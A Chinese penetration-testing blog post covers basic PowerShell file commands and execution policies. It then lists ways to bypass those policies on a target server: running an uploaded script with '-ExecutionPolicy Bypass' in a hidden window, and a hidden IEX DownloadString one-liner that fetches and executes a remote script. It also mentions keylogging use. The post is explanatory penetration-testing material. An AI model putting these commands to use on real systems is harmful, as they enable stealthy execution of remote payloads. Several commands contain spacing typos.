渗透之——PowerShell基本命令和绕过权限执行

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/l1028386804/article/details/86029412

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86029412

一、基本命令

以文件操作为例

1.新建目录

New-Item whitecellclub-ItemType Directory

2.新建文件

New-Item light.txt-ItemType File

3.删除目录

Remove-Item whitecellclub

4.显示文件内容

Get-Content test.txt

5.设置文本内容

Set-Content test.txt-Value"Hello World!"

6.追加内容

Add-Content light.txt-Value"i love you"

7.清除内容

Clear-Content test.txt

二、执行策略

获取执行策略

Get-ExecutionPolicy

策略分以下几种:

  • Restricted: 脚本不能执行(默认)
  • RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
  • AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
  • Unrestricted: 允许所有的script运行

可以使用如下命令格式设置PowerShell的执行策略

Set-ExecutionPolicy <Policy name>

三、绕过策略来执行脚本

如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以,在渗透时,需要采用一些方法绕过策略来执行脚本

1.绕过本地权限执行

上传xxx.ps1到目标服务器,在CMD环境下,在目标服务器本地执行该脚本

PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1

2.本地隐藏绕过权限执行脚本

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-NonInteractive-NoProfile-File xxx.ps1

3.用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

以上命令的参数说明:

  • ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
  • WindowStyle Hidden : 隐藏窗口
  • NoLogo : 启动不显示版权标志的PowerShell
  • NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示
  • NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
  • Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
  • PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

猜你喜欢

转载自blog.csdn.net/l1028386804/article/details/86029412